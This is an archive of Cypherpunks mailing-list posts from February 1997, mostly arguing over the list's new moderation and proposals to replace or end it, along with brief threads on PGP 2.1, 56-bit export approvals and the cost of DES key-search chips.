Sandy, et al. evaluate the results with an eye to future 
direction(s), they may well consider an 'inverted default' for the two
list names (i.e.:  cp / cp-unedited)

In any event, please accept my .02 in the spirit in which it is 
intended ( constructive criticism ).

/* */





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Mon, 3 Feb 1997 11:37:10 -0800 (PST)
To: cypherpunks@toad.com
Subject: Moderation [Tim,Sandy]
Message-ID: <3.0.32.19970203113803.006d1434@192.100.81.136>
MIME-Version: 1.0
Content-Type: text/plain


Since it seems to be the topic of the day, here are some of my thoughts on
moderating CP.

o Moderation achieved what it could achieve. Spam is no longer clogging up
the list. Insults, i.e., "Tim Mayo fucks children", are no longer polluting
the list.

o Moderation did not achieve what it couldn't achieve. The level of noise
has been reduced, but signal has not been increased. This is sad, but true.
The attempt was probably bound to fail, since many of the "top signal
generators" have long left the list and are not about to come back. All
that is remaining are a few diehards, such as myself, some TLA goons
(knowingly or unknowingly) working against the cause, and many newbies and
observers.

I believe that Cypherpunks is beyond hope of recovery. In fact, each day
Cypherpunk (as in cypherpunks@toad.com) lives on, it does damage to the
cause. Let's kill the list. Once and for all. Let the hard core crypto go
to Coderpunks, the politics to Cryptography, and the garbage into the void.

I am well aware of the name recognition and reputation capital associated
with CP, still I believe it best to *kill the list*.



-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred

   "I do believe that where there is a choice only between cowardice and
    violence, I would advise violence." Mahatma Gandhi




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Tue, 4 Feb 1997 00:12:15 -0800 (PST)
To: tmcghan@gill-simpson.com
Subject: Re: My Departure, Moderation, and "Ownership of the List"
In-Reply-To: <199702031632.LAA10670@mail.bcpl.lib.md.us>
Message-ID: <32F641E3.6783@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


tmcghan@gill-simpson.com wrote:
> in a message allegedly from:  "Timothy C. May" <tcmay@got.net>
> > the really important issue is this: is the _physical hosting_ of the
> > Cypherpunks mailing list coterminous with the "Cypherpunks"?
> { much thoughtful and well-phrased commentary elided }
> > I would have had no problem had John announced that he was creating
> > a new list, the "Good Stuff" list, with Sandy has his Chooser of
> > Good Stuff.  But by making the _main list_ the censored one, this
> > skewed things considerably.

> Now that the horse is out of the barn, ( or maybe not? ), I can't help
> but ask whether one specific 'change to the change' would have
> satisfied most of your objections:  retaining 'cypherpunks' as the
> name of the unedited, all-the-crud-you-can-read-and-then-some,
> version, and adding an 'cp-worthwhile' list for those of us who prefer
> not to wade thru mountains of garbage to glean a few precious tidbits.
> What's in a name?  Is perception more important ( to you ) than
> reality?  If just swapping names between cp and cp-unedited would make
> such a large difference, I humbly suggest to you that you consider how
> much labels need to matter.  Is the title of the group more important
> the the content?  From where I sit, this looks a lot like a
> style-over-substance complaint.  Of course, I don't have my trifocals
> on just at the moment.

If it did not suit a specific purpose, they wouldn't have done it
that way.  You can take it to the bank that they did this because
it was the only way to keep the 1300-plus sheep subscribed to what
they wanted to be their "main" list.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Mon, 3 Feb 1997 09:24:10 -0800 (PST)
To: Larry Johnson <lwjohnson@grill.sk.ca>
Subject: Re: PGP 2.1
In-Reply-To: <199702031510.HAA25728@toad.com>
Message-ID: <v03007801af1bcb283e03@[168.161.105.191]>
MIME-Version: 1.0
Content-Type: text/plain


Of course, the mind-flayers of the NSA might have altered every version of
PGP 2.1! Let paranoia be your watchword...

I wouldn't be so quick to rule out the possibility of you being "a real
lamer," if I were you.

-Declan


Larry writes:

>Mark Henderson wrote:
>>
>> Larry Johnson writes:
>> > Hello,
>> > Can any;one tell me how to get a version of PGP 2.1?
>> > Thanks
>> >
>> But, why do you want version 2.1?
>
>Because the guy who wrote it was let off after that on his jail
>charges, so I'm not going to use anything he made after that if
>I don't know why.
>I'm not saying that he rolled over or nothin buyt I'm gonna be
>paranoyd like he said in the book. I dont suposse he'd mind,
>since he said it.
>I'm not real smart sometimes but I'nm not a real lamer, either.
>(I don't think)



-------------------------
Washington Correspondent
The Netly News Network
http://netlynews.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "C. Kuethe" <ckuethe@gpu.srv.ualberta.ca>
Date: Mon, 3 Feb 1997 11:33:32 -0800 (PST)
Subject: Re: GAK cracking?
In-Reply-To: <199702031611.IAA26584@toad.com>
Message-ID: <Pine.A32.3.93.970203122040.44010A-100000@gpu5.srv.ualberta.ca>
MIME-Version: 1.0
Content-Type: text/plain


On Mon, 3 Feb 1997, tmcghan@gill-simpson.com wrote:

> Just days after a U.S. graduate student cracked the most powerful
> computer encryption system allowed out of the country, the Commerce
> Department announced it would allow three companies to export an
> even stronger system. 

[snip]

> Companies said products with just 40-bit long keys, the old limit, 
> were too easy to crack. The approvals came just days after Ian Goldberg, a 
> graduate student at the University of California, cracked a message 
> encoded with a software key 40-bits long. 
> 
> The government did not name the companies given permission to export 
> stronger, 56-bit programs, but Glenwood, Md.,-based Trusted 
> Information Systems acknowledged that it was one of the three. 

Why does it not surprise me that TIS gets permission to export 56-bit (DES?) ?
They do key recovery (is it GAK?) They brag about government consulting. The
clients they will admit to having are listed on:
http://www.tis.com/docs/products/consulting/govt/govcon.html
and, purely unsubstantiated rumors here, but I've heard (seen) TIS, NSA, FBI 
and other  "friends" of ours all together in the same paragraph. Conspiracy?
Maybe... This is both good and bad.... yes, longer codes are now exportable,
but only to / by certain people?

I notice that the new cipher length is 56 bit...same size as DES? hopefully
that's just a coincidence (yeah, right) or maybe somebody's starting to see
the real world where people download pirate cryptosystems and says "so let's
export bigger ones and make a buck off it, too..." (yeah, right)


PLUR
chris
--
Chris Kuethe <ckuethe@gpu.srv.ualberta.ca> LPGV Electronics and Controls
        <c100305@wolfcreek.cs.ualberta.ca> http://www.ualberta.ca/~ckuethe/
RSA in 2 lines of PERL lives at http://www.dcs.ex.ac.uk/~aba/rsa/          
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>   
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Michael Froomkin - U.Miami School of Law" <froomkin@law.miami.edu>
Date: Mon, 3 Feb 1997 09:49:14 -0800 (PST)
To: cypherpunks <cypherpunks@toad.com>
Subject: swiss buy centralized euro-smartcard system
Message-ID: <Pine.SUN.3.95.970203125238.12641A-100000@viper.law.miami.edu>
MIME-Version: 1.0
Content-Type: text/plain


http://www.hotwired.com/staff/pointcast/Features/1814.html

A. Michael Froomkin        | +1 (305) 284-4285; +1 (305) 284-6506 (fax)
Associate Professor of Law |
U. Miami School of Law     | froomkin@law.miami.edu
P.O. Box 248087            | http://www.law.miami.edu/~froomkin
Coral Gables, FL 33124 USA | It's warm here. 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Mon, 3 Feb 1997 11:15:22 -0800 (PST)
To: pdh@best.com (Peter Hendrickson)
Subject: Re: Dissolving Choke Points
In-Reply-To: <v02140b05af1be4797ba0@[206.184.194.205]>
Message-ID: <199702031908.NAA04918@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


i do have unix (linux) and stuff, but i can't take a lot of subscribers
-- maybe 200-300 or so.

i actually wrote a proposal for a mailing list without a central control
point, with several advantages being impossibility of control, absense
of a single point of failure, and cryptographic verification of honesty 
of moderators.

if there is any interest, i will post it here.

igor

Peter Hendrickson wrote:
> 
> I was amused by the similarities of USG crypto policy and the
> moderation of the cypherpunks list.  Recently a number of new
> regulations were announced to go into effect by a certain date.
> Requests for comments were made after the policy was announced.  Many
> of us thought that was pretty sneaky.  I feel the same way about the
> moderation plan.
> 
> Moderation has been a failure.  I'm pretty good at filtering and I
> can sadly report that there is very little signal out there.
> 
> There are lessons to be learned here.  One is that censorship does
> not promote a stimulating and creative dialogue.  The cypherpunks list
> right now is about as interesting as hanging out by the 7-11.
> 
> Another lesson is the danger of choke points.  We can see how
> tempting it is for people to exercise their control.  Even John Gilmore
> was unable to restrain himself from involuntary social engineering
> experiments.  Who would we have considered to be more trustworthy?
> 
> Toad.com is a choke point, not just in terms of moderation but in
> terms of the rate at which it can distribute messages.  Let's
> replace it.
> 
> What we want are many machines carrying the cypherpunks list.  A
> message posted to any machine goes to all of the others.  Each
> machine sends messages to its subscribers only once.  Some of
> these machines should be across borders.
> 
> The mail loop and multiple posting problems are solved by observing
> the message IDs.
> 
> Fast implementation: use moderated mailing list software.  Put a
> filter in the .forward file of the "moderator" account which looks
> at the message ID and forwards the message if it hasn't been seen
> already.  The mailing list machines all subscribe each other.
> 
> I've been looking for a stable machine with a good net connection to
> do this.  I haven't found one.  However, if we have many machines
> sharing the load, the stability of any one unit is not as important
> because the list will survive multiple "hits".  Only the subscribers
> on one machine will be affected by having their messages delayed.
> This greatly reduces the work and responsibility for any one list
> operator.  (As John will attest, keeping a machine running 24 hours a
> day, 7 days a week, rain or shine, is a lot of work.)
> 
> Also, with multiple machines, each unit handles a small amount of the
> load.  This makes more machines available and has less impact on
> people's net connections.
> 
> Last I checked, there were about 1200 addresses on the mailing list at
> toad.com.  All we need are about 10 machines to take 120 subscribers
> each.  (This is a completely manageable load.)
> 
> Do you have a Unix machine on the Net?  Does it have sendmail and
> Perl?  Then you have all that it takes to participate.  Send me
> mail and I'll help you set it up.
> 
> Peter Hendrickson
> ph@netcom.com
> 
> P.S. I like and respect John and Sandy and I've learned a lot from
> both of them.  While basically well-intentioned, they just made a
> mistake in this instance.
> 
> 



	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Mon, 3 Feb 1997 11:15:22 -0800 (PST)
To: m5@vail.tivoli.com
Subject: Re: Fortune, 3 Feb
In-Reply-To: <32F60A0E.4DB0@vail.tivoli.com>
Message-ID: <199702031911.NAA04962@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Mike McNally wrote:
> 
> Big article in Fortune about e-mail privace.  One little paragraph
> about encryption ("scrambling").  Fairly clue-free overall, but
> entertaining.
> 

I found the article to be extremely silly, although it was probably
useful for "management".

Anyway, computer security is an oxymoron.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Mon, 3 Feb 1997 13:10:59 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Moderation [Tim,Sandy]
Message-ID: <3.0.32.19970203131127.006e1280@192.100.81.136>
MIME-Version: 1.0
Content-Type: text/plain


At 12:28 PM 2/3/97 -0800, Peter Hendrickson wrote:
>At 11:38 AM 2/3/1997, Lucky Green wrote:
>> I am well aware of the name recognition and reputation capital associated
>> with CP, still I believe it best to *kill the list*.
>
>If you don't like the list, why not unsubscribe?

That won't solve the problem. The list has become counterproductive. It is
impossible for other lists to provide a real forum for the discussion of
the topics that this list used to be about while CP still exists. At the
same time, CP has long stopped providing such a forum. CP is draining
energy from its subscribers and the cause. Kill it! Kill it now!



-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred

   "I do believe that where there is a choice only between cowardice and
    violence, I would advise violence." Mahatma Gandhi




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Blanc Weber <blancw@MICROSOFT.com>
Date: Mon, 3 Feb 1997 13:16:47 -0800 (PST)
To: "'cypherpunks@toad.com>
Subject: RE: My Departure, Moderation, and "Ownership of the List"
Message-ID: <c=US%a=_%p=msft%l=RED-81-MSG-970203211559Z-11503@INET-03-IMC.itg.microsoft.com>
MIME-Version: 1.0
Content-Type: text/plain


From:	Timothy C. May

With no false modesty I tried awfully hard to compose
substantive essays on crypto-political topics, often more than one per
day.
(Others did too, but they seem to be tapering off as well, leaving the
list
to be dominated by something called a "Toto," the "O.J. was framed!"
ravings of Dale Thorn, the love letters between Vulis and someone name
Nurdane Oksas, and the occasional bit of crypto news. Ho hum. I'm glad
I'm
not reading the list in e-mail, and thus can easily avoid replying to
these
inanities...
..........................................


Your thoughtful contributions to the list are missed, Tim.   As soon as
I realized that you had left the list I suspected it had something to do
with its moderation.

However, I must protest the inclusion of Toto's posts as one of the
"inane".    His posts were intentionally formulated to cause to stand
out what was, indeed, inane -  as he said, to "hold up a mirror".    And
he continually decried the list experiment, pointing out the
philosophical contradiction of a moderated "anarchist" forum.

If the antidote to bad speech is more speech, then he certainly provided
some, although not on the level or style as yourself.   And you may say
that some of these posts are not worth replying to, but didn't I see you
respond to one of Dale's, regarding a photo of Jessica-the-pilot which
he keeps above his desk?

   ..
Blanc





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Blossom <eb@comsec.com>
Date: Mon, 3 Feb 1997 14:11:20 -0800 (PST)
To: PADGETT@hobbes.orl.mmc.com
Subject: Re: RC5-12/32/5 contest solved
In-Reply-To: <199701302229.OAA19293@toad.com>
Message-ID: <199702032135.NAA17688@comsec.com>
MIME-Version: 1.0
Content-Type: text/plain


A. Padgett Peterson P.E. Information Security apparently wrote:
> Have good reason to believe your estimate for a purpose built machine this
> year (expect 600,000,000 to 1,000,000,000 kps per sieve - these will not 
> be cheap chips but will be commecially available). Expect 400 arrays
> would be required to do DES in a day (average) but is a lot more
> achievable than the 65k postulated by the gang of nine.

I received a nice flyer in the mail the other day from "Chip Express"
(www.chipexpress.com, 800-95-CHIPX). They are offering Laser
Programmed Gate Arrays.  It appears to be a reasonable way to get some
Wiener chips built.  As I recall, the Wiener design required about
23,000 gates.  Their blurb had the following table in in:

  FPGA Gates  ASIC Gates  500 Units  1000 Units  5000 Units
    40,000      20,000      $77        $45         $10
   Not Avail   200,000     $176       $150         $82

So it appears that you can get 5000 Wiener key search chips build for
about $50K.  I'm not sure about the speed, but I wouldn't be surprised
if you could clock these at 50 MHz.  The Wiener design is pipelined
and searches one key per clock, so each chip could search 50e6 keys /
second.  50e6 * 5000 = 250e9 keys / second for $50K

Happy Hunting...

Eric




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Vladimir Z. Nuri" <vznuri@netcom.com>
Date: Mon, 3 Feb 1997 13:44:20 -0800 (PST)
To: Duncan Frissell <frissell@panix.com>
Subject: Govt & cyberspace
In-Reply-To: <199702021510.HAA24723@toad.com>
Message-ID: <199702032143.NAA12677@netcom9.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



DF raises the question of whether the IRS will be able to 
modernize in the lack of "intellectual capital" (i.e. brains).
This is actually a very interesting topic which I've not
seen a lot of analysis on elsewhere, but which I expect
to see a lot more in the future.

the basic issue is this: private industry is moving into
cyberspace at a lightening pace. yet the government is
painfully incapable of doing the same for reasons of bureacracy.
numerous articles have been documenting the inability of the
government to successfully pull of massive software and
hardware upgrade projects. 

I suspect it will only be a matter of time before this is
called a major "crisis" by politicians and milked for all
of its conceivable tax value. eeks.

I've seen a lot of articles about govt agencies in a 
computational crisis due to this problem. maybe someone
can come up with a cute tag item. "technology envy" maybe?
I read about how the FAA was trying to install a new flight
control system that's insanely over budget and lightyears
from a conceivable completion.

another *major* computation problem is the year 2000
crisis. private companies can barely get it together to
do the upgrading and investigation required to fix the
2000-flip problem. the government is even farther behind.
if there is going to be a year 2000 "crisis" due to the
millenium bug, I suspect much of it will be focused in
government agencies.

"tech envy"-- what impact is this going to have on our
government? it's becoming a huge issue. it may be a 
really great opportunity for a populist movement to
truly reform the government in the process of upgrading
their computers. I suspect that the "groupware" technology
that is just getting started will have major influence
in these areas. as private companies find increasingly
sophisticated ways of managing themselves, the obvious
question will arise, "why can't we have an efficient govt
when our private industries are"? the answer is, we
can!!

I've written about "electronic democracy" repeatedly. many
people object to the idea. but when it is phrased in terms
of groupware, it becomes more palatable. imagine a small
company humming along with its groupware application that
allows it to make company-wide decisions using a democratic
process. moreover, the software is robust and scales well.
why can't the same principles be scaled up, up, up? I predict
that they will be in a rather extraordinary revolution.

a new "velvet revolution"? comments anyone?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: pdh@best.com (Peter Hendrickson)
Date: Mon, 3 Feb 1997 13:53:04 -0800 (PST)
To: cypherpunks@toad.com
Subject: Information Warfare
Message-ID: <v02140b0aaf1c0c8fe705@[206.184.194.205]>
MIME-Version: 1.0
Content-Type: text/plain


The cypherpunks list has been under "attack" for some time.  How have
we managed it?  Very poorly in my view.

Some people have dismissed the idea that rogue governmental elements
are behind some of our problems.  Yet, there is no reason to rule
out this hypothesis.

The government has not always behaved well with regards to its
perceived enemies in the last few decades.  The FBI seems to
infiltrate everything - even churches!.  This is well documented.

The CIA has worked hard on disrupting various political movements of
which it did not approve using provocateurs and other conspiratorial
dirty tricks.  (I believe the FBI has, too, but I do not recall any
documentation offhand.)

We know that "Information Warfare" is the big thing in the defense
establishment right now.  It's all over their web pages.  We see
articles from the Kennedy School which seem to compare free speech
with disease. Etc. Etc.

We also believe that the things the Cypherpunks are interested in are
on the radar screen.  Maybe the Cypherpunks are, too.

Is it unreasonable to ask whether some people are getting funding to
experiment with disrupting "groups" like the Cypherpunks?  I can
easily picture people inventing all sorts of important sounding words
like "psy-op" for what is little more than rudeness.

Whatever the cause of the disruptions, the solutions are the same.

Most of the proposals I've been hearing have to do with controlling
the behavior of other cypherpunks and creating more structure.  This
is a mistake.

It's clear that even the definitions of "spam" and "flame" are hard to
nail down.  The next idea will be to moderate on the basis of content.
How will we decide what is content?  Clearly that's much too important
a question to leave to just one person.  What we need is a committee
to decide!  What's next?  Robert's Rules of Order?

All of this detracts from the work we have before us.  If you've ever
been involved with a non-profit organization, you will know that
enormous energy is spent on internal political scheming.  That's a
boring waste of time.

Let's go down a better path.  Let's think about the best way for each
cypherpunk to manage disruptions.  Please consider these suggestions:

1. Filter noise.

I filter based on origin.  If a kill file doesn't work, use a positive
filter to read messages only from people who are worthwhile.  It has
been suggested that this doesn't work because some people post
garbage, but also occasionally post something good.  There's gold in
the ocean, too.  Why don't we retrieve it?

If you don't want to manage a filter yourself, find somebody to do it
for you.  A number of people offer filtering services.

Remember that in an open forum, noise increases with signal.  The more
worthwhile and interesting threads are on the list, the more worthless
postings we are going to see, particlarly when people are consciously
disruptive.

2. Post signal.

Filters are useless when there is no signal.  Signal comes from
cypherpunks.  You are a cypherpunk.

3. Birds of a feather flock together.

When you respond to somebody, you mingle your on-line identity with
theirs.  Fly with the eagles.

Peter Hendrickson
ph@netcom.com






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Mon, 3 Feb 1997 13:43:39 -0800 (PST)
To: Blanc Weber <cypherpunks@toad.com>
Subject: RE: My Departure, Moderation, and "Ownership of the List"
In-Reply-To: <c=US%a=_%p=msft%l=RED-81-MSG-970203211559Z-11503@INET-03-IMC.itg.microsoft.com>
Message-ID: <v03007803af1c0a2f895e@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 1:15 PM -0800 2/3/97, Blanc Weber wrote:

>Your thoughtful contributions to the list are missed, Tim.   As soon as
>I realized that you had left the list I suspected it had something to do
>with its moderation.
>
>However, I must protest the inclusion of Toto's posts as one of the
>"inane".    His posts were intentionally formulated to cause to stand
>out what was, indeed, inane -  as he said, to "hold up a mirror".    And
>he continually decried the list experiment, pointing out the
>philosophical contradiction of a moderated "anarchist" forum.

Well, "Toto" wrote in a style I found hard to grasp, and his/her/its points
were often lost to me. But I was only scanning the list via the hks.net
archive site, and so may have missed the subtleties.

One way thoughtful posts get "absorbed" is when others quote them (or the
parts they like best, disagree with, etc.). This gives people a second or
third look. (And, of course, when one _replies_ to a post this is how it
gets read most carefully.)

I saw few people I respect a lot replying substantively to the posts of
some of these people who seemed to dominate the list in the last month, and
of course I myself did not reply to any of them, so whatever points they
were making were lost on me.

>If the antidote to bad speech is more speech, then he certainly provided
>some, although not on the level or style as yourself.   And you may say
>that some of these posts are not worth replying to, but didn't I see you
>respond to one of Dale's, regarding a photo of Jessica-the-pilot which
>he keeps above his desk?

Sure, but that was months ago. In any case, I didn't say Dale nor Toto nor
anyone else should be shunned; I posted when I felt like it.

Nor of course have I ever argued for censoring Toto or Dale or anyone else.
My point to Sandy was just that the new censorship policy was still clearly
letting a lot of crap^H^H^H^H "piffle" (a Sandy-used and hence
Sandy-approved synonym for "cr*p") through, and that certain folks were
issuing lots and lots of rants and raves.

Personally, I think "flames" are not the problem. Not flames from obviously
thoughtful folks who are angered or peeved about something. The "flames"
posted by bots--targetted at me, usually--were not especially helpful, but
I see nothing wrong with, say, Hallam-Baker flaming Bell. Or vice versa.
Flames and intense argument are often useful in explicating hard
subjects...and who can deny that Bell's ideas are controversial and may
generate intense opinions?

To expunge the list of Vulis' ASCII art and "Timmy May was born on a toilet
as the spawn of a dandruff-covered Armenian tchurka and his nekulturny
peasant mother" bot-generated insults we have apparently now gotten a list
where Lord Sandy apprises us that he almost rejected my long,
carefully-constructed essay because I committed the NewCyphepunk (TM) sin
of referring to Toto, Dale, Dimitri, and Nurgaine in unflattering ways.

Like I said, "fuck that."

Or, more politely, it's throwing the baby out with the bathwater. Not to
mention sending the strong message that "Even Cypherpunks gave up their
experiment with anarchy and now have a moderator deciding what the main
list is permitted to read."

Far too high a price to pay for the "comity" Sandy craves.

(And if Sandy wants comity and good cheer, let him either form his own list
or establish a filtered list just the way Blossom and Arachelian did.
Hijacking the list to reform it in his own image is dirty pool.)

--Tim May

Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Marcus Butler <marcusb@wspice.com>
Date: Mon, 3 Feb 1997 11:58:17 -0800 (PST)
To: Larry Johnson <lwjohnson@grill.sk.ca>
Subject: Re: PGP 2.1
In-Reply-To: <199702031510.HAA25728@toad.com>
Message-ID: <Pine.LNX.3.95.970203134740.27081A-100000@wsp1.wspice.com>
MIME-Version: 1.0
Content-Type: text/plain




On Mon, 3 Feb 1997, Larry Johnson wrote:

> Mark Henderson wrote:
> > 
> > Larry Johnson writes:
> > > Hello,
> > > Can any;one tell me how to get a version of PGP 2.1?
> > > Thanks
> > >
> > But, why do you want version 2.1?
> 
> Because the guy who wrote it was let off after that on his jail 
> charges, so I'm not going to use anything he made after that if
> I don't know why.
> I'm not saying that he rolled over or nothin buyt I'm gonna be
> paranoyd like he said in the book. I dont suposse he'd mind,
> since he said it.
> I'm not real smart sometimes but I'nm not a real lamer, either.
> (I don't think)

 Phillip Zimmerman never went to jail.  He was just under investigation.
If you are going to be that paranoid about things, you should not use
anything you did not write yourself, afterall, even the cypherpunks list
could be an elaborate government scheme to lull people into using PGP and
similar technologies (JJ).  Go get the source code if you are concerned
about it.

 Marcus





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Vladimir Z. Nuri" <vznuri@netcom.com>
Date: Mon, 3 Feb 1997 14:04:55 -0800 (PST)
To: "Timothy C. May" <tcmay@got.net>
Subject: Re: My Departure, Moderation, and "Ownership of the List"
In-Reply-To: <199702030325.TAA09985@toad.com>
Message-ID: <199702032204.OAA24923@netcom9.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



<* The mechanics of the announcement troubled me greatly. To be blunt, I was
<seething with anger. I was mightily annoyed to read that John had made a
<decision to appoint Sandy as his Moderator, with no discussion on the list.
<I don't know if Eric Hughes and Hugh Daniel were asked their opinions, but
<I certainly know I was not. I feel that as one of the two or three
<founders, depending on how one is counting, and as a frequent contributor
<to the list since its inception, and so on, I (and others) should at least
<have been told of this plan. Better yet, have the plans discussed on the
<list, as some good ideas may have been generated.

hi timmy, a word to the wise: it amuses me that whenever I referred
to a cypherpunk "community" my eyebrows were flamed off, by people
who claimed there was no such thing. a community has certain properties,
many of which I believe the cypherpunks "crowd" has always lacked.

one aspect of the "crowd" that is lacking is LEADERSHIP. I have pointed
this out again and again. the cpunks believe that leadership is no
longer relevant in a digital society, somehow. the list is in the
shape it is in because of POOR LEADERSHIP.. neither you nor EH care
about what LEADERSHIP entails, or wish to exert the sacrifices that
it requires. hence, you have, and have always had, a LEADERSHIP VACUUM.
and now you are "mightily annoyed", "pissed off" etc. that as a
"founder" you were not consulted? you weren't consulted because you
weren't a leader in the true sense of the word. are you in or out?

imho leadership does not merely entail writing posts and having a
completely laissaiz fair attitude about every single issue under the
sun, particularly those of dear importance to the list, such as how
to deal with crappy signal to noise ratios, intentional provocateurs,
people who seem to have ulterior agendas, etc.

I think it is highly amusing for you to get a lesson about how your
views about "anarchy" really work out. what does this anarchy thing
mean, anyway? is someone else taking over the list your idea of
what is represented by anarchy?   imho anarchy is a power vacuum
in which the events which have transpired, and that you perceive
as unpalatable to say the least, are inevitable.

<I'll have more to say about my problems with how things were handled.
<Frankly, it smacked of the same kind of fait accompli decision John made
<with the unsubscribing of Vulis. While John had (and has) every legal right
<to do with his property as he wished, the effect was very negative. First,
<Vulis found other ways to post (duh). Second, the list was consumed with
<flames about this, many from Vulis, and many from others. Third,
<journalists (who love sizzle over substance any day of the week) lept into
<the fray with articles which gave Vulis the publicity he craved. Fourth, it
<sent a message to enemies of liberty that "Even the Cypherpunks have found
<it necessary to abandon their anarchic ways."

"enemies of liberty"? hee, hee. anarchy was not a practical way of
running the list, and never has been, and now that the REALITY of the 
situation is PROVING this to you in an inescapable existence proof,
you find it impossible to confront the obvious message. timmy, a little
tip: anarchy, as you seem to conceive it, doesn't scale well, 
and both usenet and the cypherpunks list are eminent evidence of this.

<(I'm well aware of the issues with pests like Vulis, who seek to destroy
<virtual communities like ours. But the solution John used did not work, and
<generated more crap. As you all should know, it was John himself who coined
<the wonderful saying, "The Net interprets censorship as damage and routes
<around it." A delicious irony.)

which should encourage people to understand that there is a subtle 
difference between censorship and moderation.. or does the distinction
elude you? is there a difference in your opinion? you have plenty
of financial resources to start a mailing list of your own, what makes
you think it would be any more orderly than the one that is being run
here? in fact, do you understand how "anarchy" and "order" are mutually
exclusive, now that your own reality is shouting it to you?

<* The proper solution to bad speech is more speech, not censorship.

ah, so everyone should post 5 messages to the list, instead of 1, and
those that are quite should post 3. quite an elegant solution. do you
see how the silly rhetoric fails to hold up in reality? when will you
get a clue about where your own views are really leading you?

<* OK, even given that John had decided to censor "his" list, what about his
<choice of Sandy Sandfort as the censor? 

"moderator"-- does the word mean anything to you?

<(I count Sandy as a friend, but I'm just being honest here. Sandy is just
<not a "Peter Neumann" (moderator of the "RISKS" list).

you were free to propose another  moderator. moderation is hard work.
it takes a lot of time. who volunteered other than sandy?

<* I would have had no problem had John announced that he was creating a new
<list, the "Good Stuff" list, with Sandy has his Chooser of Good Stuff.
<After all, both Eric Blossom and Ray Arachelian already offer just such
<lists, and more would not hurt.
<
<But by making the _main list_ the censored one, this skewed things
<considerably.

anyone is free to subscribe to any list they choose, including the unfiltered
one. how is the reality different than that which you write? are you suggesting
that people are too lazy to make a coherent choose on their own? who
are you to argue with what everyone themself chooses?

<* The decision to "moderate" (censor) the Cypherpunks list is powerful
<ammunition to give to our opponents, and Vulis is certainly gleeful that
<his fondest wishes have been realized. And it won't work. People are
<consuming even more bandwidth arguing the merits of John's decision, the
<traffic is presumably being slowed down by the need for Sandy to wade
<through the traffic and stamp "Approved" or "Rejected" on what he glances
<at, and people are "testing the limits" of what they can say and what they
<can't say.

what's a better solution, in your opinion, besides ignoring it all and
pretending there is no problem?

<In any case, my several years with the list have taken a huge amount of my
<time. Given the way this whole thing was handled, and the way the list is
<degenerating even further, it looks like it's good that I'm moving on to
<other things.

ah, quite convenient excuse to bail out when no elegant solution seems
possible. blame all the problems on faux-reasons rather than an opportunity
for soul-searching.

<- the decision to censor the list was made without any discussion on the
<list, without any discussion with at least some of the longterm core
<contributors, and was presented as a "fait accompli."

by their own construction, all insisted that everyone be treated 
identically on the list, and that no such distinction be made about
"longterm core contributors"


but thanks for showing up and clarifying your position, timmy. what
a tragedy not to routinely see your smiling face here. I for one
have "taps" playing on my computer whenever I read the list as
a suitable memorial to your past greatness. viva la cypherpunks!




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: pdh@best.com (Peter Hendrickson)
Date: Mon, 3 Feb 1997 14:19:41 -0800 (PST)
To: Lucky Green <cypherpunks@toad.com
Subject: Re: Moderation [Tim,Sandy]
Message-ID: <v02140b0caf1c125b43dc@[206.184.194.205]>
MIME-Version: 1.0
Content-Type: text/plain


At 1:12 PM 2/3/1997, Lucky Green wrote:
>At 12:28 PM 2/3/97 -0800, Peter Hendrickson wrote:
>>At 11:38 AM 2/3/1997, Lucky Green wrote:
>>> I am well aware of the name recognition and reputation capital associated
>>> with CP, still I believe it best to *kill the list*.

>> If you don't like the list, why not unsubscribe?

> That won't solve the problem. The list has become counterproductive. It is
> impossible for other lists to provide a real forum for the discussion of
> the topics that this list used to be about while CP still exists. At the
> same time, CP has long stopped providing such a forum. CP is draining
> energy from its subscribers and the cause. Kill it! Kill it now!

Who should do what to comply with your proposal?  Should John shut down
the list?  Are you asking everybody to unsubscribe?

I don't think "killing the list" is an option for you or anybody else.
The List transcends all domains.

Peter Hendrickson
ph@netcom.com






